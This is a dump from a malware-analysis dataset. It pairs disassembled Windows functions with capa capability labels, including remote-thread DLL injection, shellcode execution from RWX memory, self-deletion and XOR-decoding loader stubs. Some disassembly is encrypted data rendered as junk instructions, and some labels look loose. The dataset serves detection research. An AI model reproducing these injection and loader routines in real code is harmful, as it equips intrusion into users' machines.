joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402da0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x81c
mov eax, dword [0x409004]
xor eax, esp
mov dword [esp + 0x818], eax
push ebx
mov eax, ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], eax
push esi
push edi
test eax, eax
je 0x402f98
test edx, edx
je 0x402f98
mov ebx, dword [edx + 0x14]
lea edi, [esp + 0x20]
mov edx, dword [edx]
mov eax, ebx
shl eax, 0xa
mov ecx, pe_nt_image_headers32
mov dword [esp + 0x10], eax
lea esi, [edx - 0x400]
add esi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x14]
mov edi, dword [ecx + 0x18]
cmp edi, 1
jbe 0x402ee4
mov eax, ebx
lea esi, [esp + 0x430]
imul ebx, ebx, 0xfffffc00
add edx, 0xfffffff8
shl eax, 0xb
sub esi, eax
add edx, eax
sub esi, dword [ecx]
dec edi
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x10]
nop dword [eax]
lea ecx, [esp + 0x20]
xor eax, eax
cmp ecx, edx
ja 0x402e70
lea ebx, [esp + 0x418]
lea ecx, [edx - 0x3f8]
cmp ebx, ecx
mov ebx, dword [esp + 0x10]
jb 0x402e70
nop
mov ecx, dword [edx + eax*8 - 0x3f8]
xor dword [esp + eax*8 + 0x20], ecx
mov ecx, dword [edx + eax*8 - 0x3f4]
xor dword [esp + eax*8 + 0x24], ecx
inc eax
cmp eax, 0x80
jl 0x402e50
jmp 0x402ed5
lea ecx, [edx - 0x3d8]
nop word [eax + eax]
movups xmm0, xmmword [esp + eax*8 + 0x20]
lea ecx, [ecx + 0x40]
movups xmm1, xmmword [ecx - 0x60]
pxor xmm1, xmm0
movups xmmword [esp + eax*8 + 0x20], xmm1
movups xmm0, xmmword [esp + eax*8 + 0x30]
movups xmm1, xmmword [ecx - 0x50]
pxor xmm1, xmm0
movups xmmword [esp + eax*8 + 0x30], xmm1
add eax, 8
movups xmm0, xmmword [ecx + esi - 0x50]
movups xmm1, xmmword [ecx - 0x40]
pxor xmm1, xmm0
movups xmmword [ecx + esi - 0x50], xmm1
movups xmm0, xmmword [ecx + esi - 0x40]
movups xmm1, xmmword [ecx - 0x30]
pxor xmm1, xmm0
movups xmmword [ecx + esi - 0x40], xmm1
cmp eax, 0x80
jl 0x402e80
add esi, dword [esp + 0x18]
add edx, ebx
sub edi, 1
jne 0x402e30
mov ecx, pe_nt_image_headers32
lea esi, [esp + 0x20]
lea edi, [esp + 0x420]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0x420]
push 0x400
push eax
mov edx, dword [edi + 4]
mov ecx, dword [edi]
call fcn.00402ac0
add esp, 8
lea eax, [esp + 0x20]
mov ecx, 0x400
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402f20
mov ecx, 0x400
lea eax, [esp + 0x420]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402f37
mov eax, dword [esp + 0x14]
mov edx, dword [eax + 0xc]
mov esi, dword [eax]
shl edx, 0xa
test esi, esi
je 0x402f6b
mov ecx, edx
mov eax, esi
test edx, edx
je 0x402f6b
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402f60
mov eax, dword [edi + 0x40]
test eax, eax
je 0x402f8e
push edx
push esi
call eax
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x818]
xor ecx, esp
call fcn.00405890
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov ecx, dword [esp + 0x824]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405890
mov esp, ebp
pop ebp
ret
Function at 0x404c40
Capabilities:
Terminate process

Disassembly:
push ecx
push ecx
push str.Error:__s_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00404b10
add esp, 0xc
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x100183b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x100183c4
pop dword [ebp - 0x34]
mov eax, 0x100183c4
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xbe452d92
sub dword [ebp - 0x44], 0x6ff2e847
mov dword [ebp - 0x40], 0x7ca757f4
sub dword [ebp - 0x40], 0x4a740baf
mov dword [ebp - 0x3c], 0xc1ab6e04
sub dword [ebp - 0x3c], 0x755f29d6
mov dword [ebp - 0x38], 0x124c84fb
sub dword [ebp - 0x38], 0x124c84fb
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x4fc5505b
add dword [ebp - 0x44], 0x24ad18fb
mov dword [ebp - 0x40], 0x339b029e
sub dword [ebp - 0x40], 0xf22ea129
mov dword [ebp - 0x3c], 0x45240ff6
add dword [ebp - 0x3c], 0x1e4b5c76
mov dword [ebp - 0x38], 0x9557fc91
add dword [ebp - 0x38], 0x6aa8036f
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xaab50f55
sub eax, 0x9ab2ef15
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x37047
push 0
call eax
mov ecx, 0x43b1
mov esi, eax
mov edx, 0x88857cef
sub edx, 0x788260ef
add edx, dword [ebp - 0x34]
mov ebx, 0x5adef5df
add dword [ebp - 0x10], edx
mov edi, dword [edx]
add dword [ebp - 4], eax
xor edi, ebx
add dword [ebp - 0x24], ecx
mov dword [esi], edi
mov dword [ebp - 0x30], 0xca18119b
add esi, 0xe4b98eab
sub esi, 0xe4b98ea7
add edx, 4
loop 0x100184d0
add eax, 0xc0be2a69
add eax, 0x3f42d72e
mov ebx, eax
add eax, 0x5001161e
sub eax, 0x50011619
mov ecx, 0xa3113058
sub ecx, 0x93113058
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x657812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x65781325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x65781325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6578132c
mov eax, 1
jmp 0x65781331
mov eax, 0
leave
ret
Function at 0x65781759
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x657818a9
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x657818ef
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x65781938
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x65781935
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x65781938
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x65781a34
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x65781a9b
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x65781e30
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6578603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x65786034]
sub esp, 4
test ebx, ebx
je 0x65781e7b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x65781e74
test esi, esi
je 0x65781e74
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x65781e50
mov dword [esp], 0x6578603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x65782060
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x65784164
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x657820b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x65782188
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x657820ee
cmp eax, 4
jne 0x65782110
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x657820fe
cmp edx, 4
je 0x657820fe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.65782060

Function at 0xf12668
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf12672
pushal
call 0xf12678
pop ebp
sub ebp, 0x10
sub ebp, 0xb12668
jmp 0xf1268e
mov eax, 0xb12668
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b5
mov edx, 0x754e30aa
xor byte [eax], dl
inc eax
dec ecx
jne 0xf126a5
jmp 0xf126b8
and dword [edi + 0x21], esp
and edx, dword [esi + 0x2baaaaaa]
imul edx, dword [edx - 0x56], 0xffffffaa
stosb byte es:[edi], al
test eax, 0xaaac1267
stosb byte es:[edi], al
stosb byte es:[edi], al
adc byte [edx + 0x5daaaaaa], al
dec eax
test eax, 0xa62b2162
stosb byte es:[edi], al
stosb byte es:[edi], al
stosb byte es:[edi], al
test eax, 0xc2fafa6f
push 0x2a
mov ebp, dword [edx + 0x250f02c2]
stosb byte es:[edi], al
stosd dword es:[edi], eax
xchg byte [esi - 0x1f904f3e], cl
push edx
inc edx
scasd eax, dword es:[edi]
stosb byte es:[edi], al
stosb byte es:[edi], al
stosb byte es:[edi], al
inc ebx
sub byte [edx + 0x27ffaaaa], 0xc6
mov gs, word [edx - 0x555dd0df]
stosb byte es:[edi], al
stosb byte es:[edi], al
and dword [edi], edi
cmpsb byte [esi], byte es:[edi]
stosb byte es:[edi], al
stosb byte es:[edi], al
stosb byte es:[edi], al
and dword [edi], esp
mov edx, 0x6baaaaaa
inc ebx
test al, 0x9b
test al, 0x29
push 0x2fa5e3ae
pop esi
push ebp
push ebp
push ebp
imul dword [eax - 0x5a]
stosb byte es:[edi], al
and dword [esi], esp
mov gs, word [esi - 0x3d555556]
push 0x2a
mov ebp, dword [edx + 0x250f02c2]
stosb byte es:[edi], al
stosd dword es:[edi], eax
xchg byte [esi + 0x568ece27], cl
and esp, dword [esi - 0x5550bd72]
stosb byte es:[edi], al
stosb byte es:[edi], al
inc ebx
xchg ebp, eax
test al, 0xaa
stosb byte es:[edi], al
invalid
Function at 0x404a80
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404c38
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404ae1
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404c54
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404b4e
xor eax, eax
push ebp
push 0x404b47
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404b30
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404c74
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404b4e
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404c2f
cmp byte [ebp - 0xd], 0
jne 0x404b90
cmp byte [ebp - 0x12], 0
je 0x404c2f
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404ba9
dec ebx
cmp byte [ebx], 0x2e
je 0x404bb8
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404ba8
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404c2f
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404be5
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404c2f
cmp byte [ebp - 0xd], 0
je 0x404c2f
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404c2f
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40802c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408065
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403870
jmp 0x40806e
mov eax, ebx
mov edx, esi
call fcn.00403824
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408078
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408099
mov al, byte [esp]
jmp 0x40809b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x412f84
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x412f8a
ret

Function at 0x4153a8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4153f9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4153e0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4153d0
jmp 0x4153f9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4153e1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41e148
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], edx
xor eax, eax
mov dword [ebp - 0x14], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x43f754], 0
sete dl
or al, dl
jne 0x41e28c
mov eax, dword [0x43f758]
mov bx, 0xffff
call fcn.00402de0
mov eax, dword [0x43f754]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x41e25b
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x43f754]
call fcn.0040c9c4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
je 0x41e253
mov eax, dword [ebp - 0x10]
cmp byte [eax + 0x16c], 0
je 0x41e253
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x41e253
mov eax, dword [ebp - 0x10]
call fcn.00426054
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x41e253
push ebp
call fcn.0041e104
pop ecx
test al, al
jne 0x41e253
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x8c]
cmp eax, dword [ebp - 0x10]
jne 0x41e20f
mov eax, dword [ebp - 0x10]
call fcn.0042499c
dec eax
jle 0x41e253
mov byte [ebp - 0x15], 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x15]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov bx, 0xffc2
call fcn.00402de0
cmp byte [ebp - 0x15], 0
je 0x41e253
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x41e253
mov edx, dword [ebp - 0x10]
mov eax, dword [0x43f758]
call fcn.0041d9b4
inc edi
dec esi
jne 0x41e1a2
mov eax, dword [0x43f758]
cmp dword [eax + 8], 0
jle 0x41e273
mov eax, dword [0x43f758]
call fcn.0041da44
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x41e28c
push ebp
mov eax, dword [ebp - 0x14]
call fcn.0041dfbc
pop ecx
test al, al
jne 0x41e28c
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423b28
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x423b59
je 0x423bb3
sub eax, 7
je 0x423b7a
dec eax
je 0x423ba4
sub eax, 0x17
je 0x423c34
jmp 0x423c72
add eax, 0xffffff00
sub eax, 9
jb 0x423c20
add eax, 0xffffff09
sub eax, 0xb
jb 0x423c0a
jmp 0x423c72
mov eax, ebx
call fcn.00433d64
mov edi, eax
test edi, edi
je 0x423cd2
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xc8]
test al, al
je 0x423cdb
jmp 0x423cd2
test byte [ebx + 0x44], 0x20
jne 0x423cdb
jmp 0x423cd2
mov edx, esi
mov eax, ebx
call fcn.004213cc
cmp dword [esi + 0xc], 0xffffffff
jne 0x423cdb
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.0040644c
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.0041fe58
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.004239d8
test eax, eax
je 0x423cdb
mov dword [esi + 0xc], 1
jmp 0x423cdb
mov edx, esi
mov eax, ebx
call fcn.00423a9c
test al, al
jne 0x423cdb
jmp 0x423cd2
mov eax, ebx
call fcn.00420a38
test al, al
jne 0x423cdb
jmp 0x423cd2
mov eax, ebx
call fcn.00426054
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x423cd2
cmp dword [0x43e690], 0
je 0x423cd2
mov eax, dword [0x43e690]
cmp ebx, dword [eax + 0x24]
jne 0x423cd2
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x43e690]
call fcn.004212e8
jmp 0x423cd2
mov eax, dword [0x43f71c]
cmp byte [eax + 0x20], 0
je 0x423cd2
mov eax, dword [0x43f71c]
cmp dword [eax + 0x1c], 0
je 0x423cd2
mov eax, dword [esi]
mov edx, dword [0x43f71c]
cmp eax, dword [edx + 0x1c]
jne 0x423cd2
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.00433c78
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb9
call fcn.00402de0
jmp 0x423cdb
mov edx, esi
mov eax, ebx
call fcn.004213cc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret